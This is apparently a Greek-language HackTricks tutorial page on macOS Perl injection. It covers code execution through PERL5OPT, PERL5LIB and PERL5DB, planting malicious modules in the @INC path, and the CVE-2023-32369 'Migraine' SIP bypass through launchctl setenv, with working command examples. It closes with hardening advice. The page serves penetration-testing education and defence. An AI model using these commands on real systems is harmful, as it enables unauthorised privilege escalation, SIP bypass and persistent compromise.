102 lines
8.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# macOS Perl Applications Injection
{{#include ../../../banners/hacktricks-training.md}}
## Via `PERL5OPT` & `PERL5LIB` env variable
Χρησιμοποιώντας τη μεταβλητή περιβάλλοντος **`PERL5OPT`** είναι δυνατόν να κάνετε το **Perl** να εκτελεί αυθαίρετες εντολές όταν ξεκινά ο διερμηνέας (ακόμα και **πριν** από την πρώτη γραμμή του στοχευμένου σεναρίου αναλυθεί).
Για παράδειγμα, δημιουργήστε αυτό το σενάριο:
```perl:test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";
```
Τώρα **εξάγετε τη μεταβλητή env** και εκτελέστε το **perl** σενάριο:
```bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
```
Μια άλλη επιλογή είναι να δημιουργήσετε ένα module Perl (π.χ. `/tmp/pmod.pm`):
```perl:/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
```
Και στη συνέχεια χρησιμοποιήστε τις μεταβλητές env ώστε το module να εντοπίζεται και να φορτώνεται αυτόματα:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
```
### Άλλες ενδιαφέρουσες μεταβλητές περιβάλλοντος
* **`PERL5DB`** όταν ο διερμηνέας ξεκινά με την επιλογή **`-d`** (debugger), το περιεχόμενο του `PERL5DB` εκτελείται ως κώδικας Perl *μέσα* στο πλαίσιο του debugger.
Αν μπορείτε να επηρεάσετε τόσο το περιβάλλον **όσο** και τις επιλογές γραμμής εντολών μιας προνομιακής διαδικασίας Perl, μπορείτε να κάνετε κάτι σαν:
```bash
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # θα ανοίξει ένα shell πριν εκτελέσει το script
```
* **`PERL5SHELL`** στα Windows αυτή η μεταβλητή ελέγχει ποιο εκτελέσιμο shell θα χρησιμοποιήσει το Perl όταν χρειάζεται να δημιουργήσει ένα shell. Αναφέρεται εδώ μόνο για πληρότητα, καθώς δεν είναι σχετική στο macOS.
Αν και το `PERL5DB` απαιτεί την επιλογή `-d`, είναι συνηθισμένο να βρίσκονται σενάρια συντήρησης ή εγκατάστασης που εκτελούνται ως *root* με αυτή την επιλογή ενεργοποιημένη για λεπτομερή αποσφαλμάτωση, καθιστώντας τη μεταβλητή έγκυρο μέσο κλιμάκωσης.
## Μέσω εξαρτήσεων (@INC abuse)
Είναι δυνατόν να καταγράψετε τη διαδρομή συμπερίληψης που θα αναζητήσει το Perl (**`@INC`**) εκτελώντας:
```bash
perl -e 'print join("\n", @INC)'
```
Τυπική έξοδος σε macOS 13/14 φαίνεται όπως:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Ορισμένοι από τους επιστρεφόμενους φακέλους δεν υπάρχουν καν, ωστόσο **`/Library/Perl/5.30`** υπάρχει, *δεν* προστατεύεται από το SIP και είναι *πριν* από τους φακέλους που προστατεύονται από το SIP. Επομένως, αν μπορείτε να γράψετε ως *root*, μπορείτε να ρίξετε ένα κακόβουλο module (π.χ. `File/Basename.pm`) που θα φορτωθεί *προτιμησιακά* από οποιοδήποτε προνομιακό script που εισάγει αυτό το module.
> [!WARNING]
> Χρειάζεστε ακόμα **root** για να γράψετε μέσα στο `/Library/Perl` και το macOS θα εμφανίσει ένα prompt **TCC** ζητώντας *Πλήρη Πρόσβαση Δίσκου* για τη διαδικασία που εκτελεί τη λειτουργία εγγραφής.
Για παράδειγμα, αν ένα script εισάγει **`use File::Basename;`**, θα ήταν δυνατό να δημιουργηθεί το `/Library/Perl/5.30/File/Basename.pm` που περιέχει κώδικα ελεγχόμενο από τον επιτιθέμενο.
## SIP bypass μέσω Migration Assistant (CVE-2023-32369 “Migraine”)
Τον Μάιο του 2023, η Microsoft αποκάλυψε το **CVE-2023-32369**, γνωστό ως **Migraine**, μια τεχνική post-exploitation που επιτρέπει σε έναν επιτιθέμενο *root* να παρακάμψει εντελώς την **Προστασία Ακεραιότητας Συστήματος (SIP)**.
Το ευάλωτο συστατικό είναι το **`systemmigrationd`**, μια διεργασία που έχει δικαίωμα με **`com.apple.rootless.install.heritable`**. Οποιαδήποτε παιδική διαδικασία που δημιουργείται από αυτή τη διεργασία κληρονομεί το δικαίωμα και επομένως εκτελείται **εκτός** των περιορισμών του SIP.
Μεταξύ των παιδιών που εντοπίστηκαν από τους ερευνητές είναι ο ερμηνευτής υπογεγραμμένος από την Apple:
```
/usr/bin/perl /usr/libexec/migrateLocalKDC …
```
Επειδή το Perl σέβεται το `PERL5OPT` (και το Bash σέβεται το `BASH_ENV`), η δηλητηρίαση του *περιβάλλοντος* του δαίμονα είναι αρκετή για να αποκτήσετε αυθαίρετη εκτέλεση σε ένα περιβάλλον χωρίς SIP:
```bash
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
```
Όταν εκτελείται το `migrateLocalKDC`, το `/usr/bin/perl` ξεκινά με το κακόβουλο `PERL5OPT` και εκτελεί το `/private/tmp/migraine.sh` *πριν επανενεργοποιηθεί το SIP*. Από αυτό το σενάριο μπορείτε, για παράδειγμα, να αντιγράψετε ένα payload μέσα στο **`/System/Library/LaunchDaemons`** ή να αναθέσετε το εκτεταμένο χαρακτηριστικό `com.apple.rootless` για να κάνετε ένα αρχείο **μη διαγραφόμενο**.
Η Apple διόρθωσε το πρόβλημα στο macOS **Ventura 13.4**, **Monterey 12.6.6** και **Big Sur 11.7.7**, αλλά παλαιότερα ή μη ενημερωμένα συστήματα παραμένουν εκμεταλλεύσιμα.
## Συστάσεις σκληροποίησης
1. **Καθαρίστε επικίνδυνες μεταβλητές** οι προνομιούχοι launchdaemons ή cron jobs θα πρέπει να ξεκινούν με ένα καθαρό περιβάλλον (`launchctl unsetenv PERL5OPT`, `env -i`, κ.λπ.).
2. **Αποφύγετε την εκτέλεση διερμηνέων ως root** εκτός αν είναι απολύτως απαραίτητο. Χρησιμοποιήστε συμπιεσμένα δυαδικά αρχεία ή μειώστε τα προνόμια νωρίς.
3. **Προμηθευτείτε σενάρια με `-T` (modo taint)** ώστε το Perl να αγνοεί το `PERL5OPT` και άλλες μη ασφαλείς επιλογές όταν είναι ενεργοποιημένος ο έλεγχος taint.
4. **Διατηρήστε το macOS ενημερωμένο** το “Migraine” είναι πλήρως ενημερωμένο στις τρέχουσες εκδόσεις.
## Αναφορές
- Microsoft Security Blog “Νέα ευπάθεια macOS, Migraine, θα μπορούσε να παρακάμψει την Προστασία Ακεραιότητας Συστήματος” (CVE-2023-32369), 30 Μαΐου 2023.
- Hackyboiz “Έρευνα παράκαμψης SIP macOS (PERL5OPT & BASH_ENV)”, Μάιος 2025.
{{#include ../../../banners/hacktricks-training.md}}